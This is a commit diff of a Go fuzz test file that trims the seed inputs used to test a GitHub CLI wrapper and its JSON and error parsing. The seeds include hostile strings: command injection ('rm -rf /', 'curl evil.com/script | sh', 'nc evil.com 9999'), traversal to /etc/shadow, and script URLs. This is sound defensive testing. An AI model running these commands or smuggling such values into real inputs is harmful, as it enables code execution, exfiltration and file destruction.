Skip to content

Commit 1670018

Browse files
committed
feat(fuzz): optimize seed corpus for fuzz testing cases
1 parent bf06819 commit 1670018

2 files changed

Lines changed: 68 additions & 299 deletions

File tree

internal/gh/fuzz_test.go

Lines changed: 32 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -19,62 +19,46 @@ import (
1919
var ErrCommandFailed = errors.New("command failed")
2020

2121
func FuzzGitHubCLIArgs(f *testing.F) {
22-
// Add seed corpus for different CLI argument scenarios
22+
// Add seed corpus - optimized to 20 high-value security test cases
2323
seeds := []struct {
2424
command string
2525
repo string
2626
arg1 string
2727
arg2 string
2828
}{
29-
// Valid commands
29+
// Valid commands (3)
3030
{"gh", "org/repo", "api", "repos/org/repo/branches"},
3131
{"gh", "user/project", "api", "repos/user/project/pulls"},
3232
{"gh", "company/app", "api", "repos/company/app/commits/main"},
3333

34-
// Command injection attempts in repo names
34+
// Command injection attempts (5)
3535
{"gh", "org/repo; rm -rf /", "api", "repos/org/repo; rm -rf //branches"},
3636
{"gh", "org/repo && curl evil.com", "api", "repos/org/repo && curl evil.com/branches"},
3737
{"gh", "org/repo`whoami`", "api", "repos/org/repo`whoami`/branches"},
3838
{"gh", "org/repo$(cat /etc/passwd)", "api", "repos/org/repo$(cat /etc/passwd)/branches"},
3939
{"gh", "org/repo|tee /tmp/pwned", "api", "repos/org/repo|tee /tmp/pwned/branches"},
40-
{"gh", "org/repo > /dev/null", "api", "repos/org/repo > /dev/null/branches"},
41-
{"gh", "org/repo < /etc/passwd", "api", "repos/org/repo < /etc/passwd/branches"},
4240

43-
// Path traversal in repo names
41+
// Path traversal (3)
4442
{"gh", "../../../etc/passwd", "api", "repos/../../../etc/passwd/branches"},
45-
{"gh", "../../root/.ssh", "api", "repos/../../root/.ssh/branches"},
4643
{"gh", "~/../../etc/shadow", "api", "repos/~/../../etc/shadow/branches"},
4744
{"gh", "$HOME/../etc/hosts", "api", "repos/$HOME/../etc/hosts/branches"},
4845

49-
// Special characters in arguments
50-
{"gh", "org/repo", "api", "repos/org/repo/branches; rm -rf /"},
51-
{"gh", "org/repo", "api", "repos/org/repo/pulls`whoami`"},
52-
{"gh", "org/repo", "api", "repos/org/repo/commits$(id)"},
53-
{"gh", "org/repo", "api", "repos/org/repo/contents|nc evil.com 9999"},
54-
55-
// Unicode and special encoding
56-
{"gh", "🎉/🎉", "api", "repos/🎉/🎉/branches"},
46+
// Special characters (3)
5747
{"gh", "org/repo", "api", "repos/org/repo/branches\x00"},
5848
{"gh", "org/repo\n", "api", "repos/org/repo\n/branches"},
59-
{"gh", "org/repo\r\n", "api", "repos/org/repo\r\n/branches"},
49+
{"gh", "org/repo", "api", "repos/org/repo/branches; rm -rf /"},
6050

61-
// Extremely long arguments
51+
// Long inputs (2)
6252
{"gh", strings.Repeat("a", 1000), "api", "repos/" + strings.Repeat("a", 1000) + "/branches"},
6353
{"gh", "org/repo", "api", strings.Repeat("repos/org/repo/", 100) + "branches"},
6454

65-
// Empty and whitespace arguments
66-
{"gh", "", "api", "repos//branches"},
67-
{"gh", " ", "api", "repos/ /branches"},
68-
{"gh", "\t", "api", "repos/\t/branches"},
69-
{"gh", "org/repo", "", "repos/org/repo/branches"},
70-
{"gh", "org/repo", " ", "repos/org/repo/branches"},
71-
72-
// Flag-like arguments that could be misinterpreted
55+
// Flag-like arguments (2)
7356
{"gh", "-rf", "api", "repos/-rf/branches"},
7457
{"gh", "--help", "api", "repos/--help/branches"},
75-
{"gh", "-", "api", "repos/-/branches"},
76-
{"gh", "org/repo", "--force", "repos/org/repo/branches"},
77-
{"gh", "org/repo", "-f", "state=open"},
58+
59+
// Empty/whitespace (2)
60+
{"gh", "", "api", "repos//branches"},
61+
{"gh", " ", "api", "repos/ /branches"},
7862
}
7963

8064
for _, seed := range seeds {
@@ -152,83 +136,67 @@ func FuzzGitHubCLIArgs(f *testing.F) {
152136
}
153137

154138
func FuzzJSONParsing(f *testing.F) {
155-
// Add seed corpus for different JSON scenarios
139+
// Add seed corpus - optimized to 40 high-value security test cases
156140
seeds := []string{
157-
// Valid GitHub API responses
141+
// Valid GitHub API responses (3)
158142
`{"name": "master", "protected": false, "commit": {"sha": "abc123", "url": "https://api.github.com/repos/org/repo/commits/abc123"}}`,
159143
`[{"name": "master"}, {"name": "develop"}]`,
160144
`{"number": 1, "state": "open", "title": "Test PR", "body": "Description", "head": {"ref": "feature", "sha": "def456"}, "base": {"ref": "master", "sha": "abc123"}}`,
161-
`{"sha": "abc123", "commit": {"message": "Initial commit", "author": {"name": "John Doe", "email": "john@example.com"}}}`,
162-
`{"path": "README.md", "content": "SGVsbG8gV29ybGQ=", "encoding": "base64", "sha": "abc123"}`,
163145

164-
// Malformed JSON
146+
// Malformed JSON (5)
165147
`{`,
166-
`}`,
167-
`{{{`,
168148
`}}}`,
169149
`{"name": }`,
170150
`{"name": "value"`,
171-
`{"name": "value",}`,
172151
`[{"name": "master"`,
173-
`]`,
174152

175-
// Command injection attempts in JSON values
153+
// Command injection in JSON values (6)
176154
`{"name": "main; rm -rf /", "protected": false}`,
177155
`{"title": "PR` + "`whoami`" + `", "body": "test"}`,
178156
`{"message": "commit$(cat /etc/passwd)", "author": {"name": "test"}}`,
179157
`{"path": "file|nc evil.com 9999", "content": "test"}`,
180158
`{"name": "branch && curl evil.com/script | sh", "protected": true}`,
181159
`{"body": "text > /tmp/pwned", "title": "test"}`,
182-
`{"name": "branch < /etc/passwd", "protected": false}`,
183160

184-
// Path traversal in JSON values
161+
// Path traversal (4)
185162
`{"path": "../../../etc/passwd", "content": "test"}`,
186163
`{"name": "../../etc/shadow", "protected": false}`,
187164
`{"title": "PR for ~/../../root/.ssh", "body": "test"}`,
188165
`{"message": "Update $HOME/../etc/hosts", "author": {"name": "test"}}`,
189166

190-
// Null bytes and special characters
167+
// Special characters (5)
191168
`{"name": "main\x00", "protected": false}`,
192169
`{"title": "PR\n\rtest", "body": "desc"}`,
193170
`{"message": "commit\ttab", "author": {"name": "test"}}`,
194171
`{"path": "file\"quote", "content": "test"}`,
195172
`{"name": "branch'single", "protected": false}`,
196-
`{"body": "text\\backslash", "title": "test"}`,
197173

198-
// Unicode and internationalization
174+
// Unicode (3)
199175
`{"name": "🎉-feature", "protected": false}`,
200176
`{"title": "PR with émojis 🚀", "body": "test"}`,
201-
`{"message": "Commit résumé français", "author": {"name": "Jean"}}`,
202177
`{"path": "файл.txt", "content": "test"}`,
203178

204-
// Very large JSON
179+
// Large/nested JSON (3)
205180
`{"name": "` + strings.Repeat("a", 10000) + `", "protected": false}`,
206-
`{"title": "` + strings.Repeat("PR", 5000) + `", "body": "test"}`,
207181
`[` + strings.Repeat(`{"name": "branch"},`, 1000) + `{"name": "last"}]`,
208-
209-
// Deeply nested JSON
210182
`{"a": {"b": {"c": {"d": {"e": {"f": {"g": {"h": {"i": {"j": "deep"}}}}}}}}}}`,
211-
strings.Repeat(`{"level":`, 100) + `"deep"` + strings.Repeat(`}`, 100),
212183

213-
// JSON with unusual data types
184+
// Unusual types (3)
214185
`{"number": "string_instead_of_int", "protected": "not_boolean"}`,
215186
`{"created_at": "not_a_date", "merged_at": 12345}`,
216187
`{"labels": "should_be_array", "parents": {"should": "be_array"}}`,
217188

218-
// Empty and minimal JSON
189+
// Empty/minimal (3)
219190
`{}`,
220191
`[]`,
221192
`null`,
222-
`""`,
223-
`0`,
224-
`true`,
225-
`false`,
226193

227-
// JSON with suspicious URLs
194+
// Suspicious URLs (5)
228195
`{"url": "file:///etc/passwd", "name": "test"}`,
229196
`{"url": "javascript:alert(1)", "name": "test"}`,
230197
`{"url": "data:text/html,<script>alert(1)</script>", "name": "test"}`,
231198
`{"url": "http://evil.com/malware.exe", "name": "test"}`,
199+
`{"path": "README.md", "content": "SGVsbG8gV29ybGQ=", "encoding": "base64", "sha": "abc123"}`,
232200
}
233201

234202
for _, seed := range seeds {
@@ -501,60 +469,46 @@ func validateGenericJSON(t *testing.T, data interface{}) {
501469

502470
// Test error handling patterns
503471
func FuzzErrorHandling(f *testing.F) {
504-
// Add seed corpus for different error scenarios
472+
// Add seed corpus - optimized to 25 high-value security test cases
505473
seeds := []string{
506-
// Standard GitHub API errors
474+
// Standard GitHub API errors (5)
507475
"404 Not Found",
508476
"403 Forbidden",
509477
"401 Unauthorized",
510-
"422 Unprocessable Entity",
511478
"500 Internal Server Error",
512-
"502 Bad Gateway",
513479
"503 Service Unavailable",
514480

515-
// gh CLI error patterns
481+
// gh CLI error patterns (5)
516482
"gh: could not resolve repository",
517483
"gh: Not Found (HTTP 404)",
518484
"gh: Forbidden (HTTP 403)",
519485
"Error: repository not found",
520486
"Error: branch not found",
521-
"Error: pull request not found",
522-
"Error: file not found",
523-
"Error: commit not found",
524487

525-
// Command injection in error messages
488+
// Command injection (4)
526489
"Error: repository not found; rm -rf /",
527490
"404 Not Found`whoami`",
528491
"Error: branch $(cat /etc/passwd) not found",
529492
"gh: could not resolve|nc evil.com 9999",
530-
"Error: > /tmp/pwned",
531-
"404 < /etc/passwd",
532493

533-
// Path traversal in error messages
494+
// Path traversal (3)
534495
"Error: ../../../etc/passwd not found",
535496
"404: ../../root/.ssh",
536-
"Error: ~/../../etc/shadow not accessible",
537497
"gh: could not resolve $HOME/../etc/hosts",
538498

539-
// Special characters in error messages
499+
// Special characters (3)
540500
"Error: repo\x00 not found",
541501
"404\n\rNot Found",
542-
"Error: branch\ttab not found",
543502
"gh: \"quote\" error",
544-
"Error: 'single' quote issue",
545-
"404: \\backslash problem",
546503

547-
// Very long error messages
504+
// Long messages (2)
548505
"Error: " + strings.Repeat("a", 10000) + " not found",
549506
"404: " + strings.Repeat("Not Found ", 1000),
550507

551-
// Empty and minimal errors
508+
// Empty/minimal (3)
552509
"",
553-
" ",
554510
"Error:",
555511
"404",
556-
"\n",
557-
"\t",
558512
}
559513

560514
for _, seed := range seeds {

0 commit comments

Comments
 (0)